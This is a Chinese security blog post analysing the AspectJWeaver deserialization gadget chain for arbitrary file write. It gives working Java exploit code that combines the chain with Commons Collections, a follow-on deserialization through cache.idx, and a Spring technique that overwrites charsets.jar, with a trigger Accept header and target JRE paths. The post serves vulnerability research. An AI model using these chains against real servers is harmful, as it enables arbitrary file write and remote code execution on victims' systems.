https://xz.aliyun.com/t/11499
https://www.ctfiot.com/43232.html
AspectJWeaver利用链,以及rt.jar覆盖 (yuque.com)
前言
实际上很久之前就知道这条链子了,但是我一直没有写相关的记录,刚刚发现了一个非常有意思的东西,所以就抄抄m1师傅的博客,顺便再加点自己的东西
丢个依赖
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjweaver</artifactId>
<version>1.9.2</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
该利用链需要配合cc或者其他依赖进行使用
利用链分析
org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap是一个内部类,其put方法如下
@Override
public Object put(Object key, Object value) {
try {
String path = null;
byte[] valueBytes = (byte[]) value;
if (Arrays.equals(valueBytes, SAME_BYTES)) {
path = SAME_BYTES_STRING;
} else {
path = writeToPath((String) key, valueBytes);
}
Object result = super.put(key, path);
storeMap();
return result;
} catch (IOException e) {
trace.error("Error inserting in cache: key:"+key.toString() + "; value:"+value.toString(), e);
Dump.dumpWithException(e);
}
return null;
}
写文件利用点位writeToPath函数,跟进查看
private String writeToPath(String key, byte[] bytes) throws IOException {
String fullPath = folder + File.separator + key;
FileOutputStream fos = new FileOutputStream(fullPath);
fos.write(bytes);
fos.flush();
fos.close();
return fullPath;
}
可以发现将key拼接入了fullpath中,使用FileOutputStream新建了该文件,并将bytes写入其中,这就是我们最终利用的点。
利用链示例编写
观察其构造方法,接受参数folder 与 storingTimer
在写入文件时会拼接folder参数,所以应指定为写入的目录,而storingTimer是一个判断缓存的时间,后面会说
因SimpleCache$StoreableCachingMap是个内部private类,所以用反射实例化
import java.lang.reflect.Constructor;
import java.nio.charset.StandardCharsets;
import java.util.HashMap;
public class new_hashcode {
public static void main(String[] args) throws Exception{
//反射获取构造函数并实例化
Class<?> aClass = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Constructor<?> constructor = aClass.getDeclaredConstructor(String.class,int.class);
constructor.setAccessible(true);
//该类继承了hashmap,所以通过将其转化为hashmap类,并调用其put方法
HashMap hashMap = (HashMap) constructor.newInstance("D:/tmp", 1);
hashMap.put("1.txt","this is a test".getBytes(StandardCharsets.UTF_8));
}
}
结合CC链进行编写
BadAttributeValueExpException.readObject
TiedMapEntry.toString ----> getValue
LazyMap.get
StoreableCachingMap.put
package sec.unserialize.aspectjweaver;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import sec.tools;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Constructor;
import java.nio.charset.StandardCharsets;
import java.util.HashMap;
import java.util.Map;
public class CC_write {
public static void main(String[] args) throws Exception{
Class<?> aClass = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Constructor<?> constructor = aClass.getDeclaredConstructor(String.class,int.class);
constructor.setAccessible(true);
HashMap hashMap = (HashMap) constructor.newInstance("D:/tmp", 100);
ConstantTransformer constantTransformer = new ConstantTransformer("This is test".getBytes(StandardCharsets.UTF_8));
Map lazymap = LazyMap.decorate(hashMap, constantTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "1.txt");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1);
tools.setValue(badAttributeValueExpException,"val",tiedMapEntry);
String serialize = tools.serialize(badAttributeValueExpException);
tools.unserialize(serialize);
}
}
正向反序列化
在put函数写入文件后,还有一个函数storeMap
其内容为
public void storeMap() {
long now = System.currentTimeMillis();
if ((now - lastStored ) < storingTimer){
return;
}
File file = new File(folder + File.separator + CACHENAMEIDX);;
try {
ObjectOutputStream out = new ObjectOutputStream(
new FileOutputStream(file));
// Deserialize the object
out.writeObject(this);
out.close();
lastStored = now;
} catch (Exception e) {
trace.error("Error storing cache; cache file:"+file.getAbsolutePath(), e);
Dump.dumpWithException(e);
}
}
可以看见在storingTimer就在此出现,storingTimer是缓存时间,如果过期就会将对象进行序列化,写入名为cache.idx的文件中
当我们将storingTimer设置的很小,例如0时,就会将序列化数据写入folder目录中的cache.idx
那么既然有序列化,就有反序列化,我们可以找到StoreableCachingMap$init函数
public static StoreableCachingMap init(String folder, int storingTimer) {
File file = new File(folder + File.separator + CACHENAMEIDX);
if (file.exists()) {
try {
ObjectInputStream in = new ObjectInputStream(
new FileInputStream(file));
// Deserialize the object
StoreableCachingMap sm = (StoreableCachingMap) in.readObject();
sm.initTrace();
in.close();
return sm;
} catch (Exception e) {
Trace trace = TraceFactory.getTraceFactory().getTrace(StoreableCachingMap.class);
trace.error("Error reading Storable Cache", e);
}
}
return new StoreableCachingMap(folder,storingTimer);
}
该函数在SimpleCache类实例化时调用
也就是说通过构造函数实例化SimpleCache类时,设置folder为cache.idx存在的目录,执行init时便会读取该文件的数据并进行反序列化
那么我们就可以将恶意序列化数据写入cache.idx,在通过构造函数实例化触发反序列化
随便将一条链子写入cache.idx
import org.aspectj.weaver.tools.cache.SimpleCache;
import java.lang.reflect.Constructor;
public class evil_cache {
public static void main(String[] args) throws Exception{
Class<?> aClass = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache");
Constructor<?> constructor = aClass.getDeclaredConstructor(String.class, boolean.class);
constructor.setAccessible(true);
SimpleCache o = (SimpleCache) constructor.newInstance("D:/tmp", true);
}
}
成功执行
写文件及后续利用!
spring场景覆盖charset.jar
https://landgrey.me/blog/22/
由于springboot项目将所有的依赖打包进了jar文件中,所以没法在程序运行时对其classpath中写入任何东西,但是在JDK目录下,系统的classpath目录可以被写入文件
这里有一个比较新颖的知识点:vm 为了避免一下加载太多暂时用不到或者以后都用不到的类,不会在一开始运行时把所有的 JDK HOME 目录下自带的 jar 文件全部加载到类中,存在 "**懒加载**" 行为。主要特征就是相关 jar 文件的 Opened 操作没有在一开始就发生,而是调用到相关类时被触发。
文章内直接就指出了该文件 jre/lib/charsets.jar程序代码中如果没有使用 Charset.forName("GBK") 类似的代码,默认就不会加载到 /jre/lib/charsets.jar 文件
启个spring服务调一下看看
看下spring-web组件中org.springframework.web.accept.HeaderContentNegotiationStrategy
对于每一次请求,spring服务都会获取其header头,并且进行处理
进入MediaType.parseMediaTypes
将值传入parseMediaTypes中
会将数据切片轮流进行parseMediaType
在parseMineType中,当mimeType开头为multipart,会进入parseMimeTypeInternal函数
会进行一系列的处理,然后进入new MimeType函数
再进入checkParameters函数
最后会使用Charset.forName()去加载指定字符集,此时会去加载charset.jar
大概的调用路线
HeaderContentNegotiationStrategy.resolveMediaTypes
MediaType.parseMediaTypes --->parseMediaTypes--->parseMediaType
MimeTypeUtils.parseMimeType ---> parseMimeTypeInternal
new MimeType ---> MimeType.checkParameters
Charset.forName(unquote(value))
携带的Accpet头:
Accept: multipart/aa;text/html;charset=GBK
我看网上的大部分poc都是没有multipart的,很怪,是我的问题么
用网络上的poc调了一遍,发现岔路口在于
后续的调用栈为
进入cachedMimeTypes.get,调用了this.generator.apply(key)
然后就会莫名其妙的进入了parseMimeTypeInternal,貌似是和lambda有关,但是我确实不太懂
后续还是一样的,charset.jar就到此为止
charset.jar常规目录
/usr/lib/jvm/java-8-oracle/jre/lib/
/usr/lib/jvm/java-1.8-openjdk/jre/lib/
/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/
实际上不止charset.jar可以用,还有rj.jar等
结尾
实际上AspectJWeaver写文件可以做的不仅仅只有这些,再一些CTF题目中也会和其他的依赖组合,例如snakeyaml、XML、XStream、fastjson等,包括其正向反序列化都是一个非常有意思的点